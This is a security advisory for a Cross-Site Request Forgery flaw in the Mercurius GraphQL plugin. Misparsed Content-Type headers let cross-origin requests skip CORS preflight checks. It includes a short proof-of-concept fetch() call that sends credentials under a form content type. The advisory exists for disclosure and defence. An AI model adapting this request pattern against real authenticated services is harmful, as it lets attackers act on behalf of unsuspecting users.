GHSA-v66j-6wwf-jc57

### Summary

A Cross-Site Request Forgery (CSRF) vulnerability was identified in Mercurius versions 16. The issue arises from incorrect parsing of the `Content-Type` header in requests. Specifically, requests with `Content-Type` values such as `application/x-www-form-urlencoded`, `multipart/form-data`, or `text/plain` could be misinterpreted as `application/json`. This misinterpretation bypasses the preflight checks performed by the `fetch()` API, potentially allowing unauthorized actions to be performed on behalf of an authenticated user.

---

### Impact

An attacker could exploit this vulnerability by crafting a malicious request with a `Content-Type` that Fastify incorrectly parses as `application/json`. When such a request is made from a different origin, it bypasses the Cross-Origin Resource Sharing (CORS) protections, leading to a potential CSRF attack. This could result in unauthorized actions being performed on behalf of an authenticated user without their consent.

---

### Proof of Concept

```javascript // Server-side Fastify setup const Fastify = require('fastify'); const mercurius = require('mercurius');

const app = Fastify(); const schema = ` type Query { hello(name: String): String } `;

const resolvers = { Query: { hello: (_, { name }) => `Hello ${name || 'World'}!` } };

app.register(mercurius, { schema, resolvers });

app.listen(3000, () => { console.log('Server listening on http://localhost:3000'); }); ```

```javascript // Malicious client-side code fetch('http://localhost:3000/graphql', { method: 'POST', body: JSON.stringify({ query: '{ hello(name: "attacker") }' }), headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, credentials: 'include' }); ```

In the above example, the malicious request is crafted to exploit the CSRF vulnerability by using a `Content-Type` that Fastify incorrectly parses as `application/json`.

---

### Mitigation

To address this vulnerability, CSRF protection has been implemented.

## References

* https://github.com/mercurius-js/mercurius/pull/1187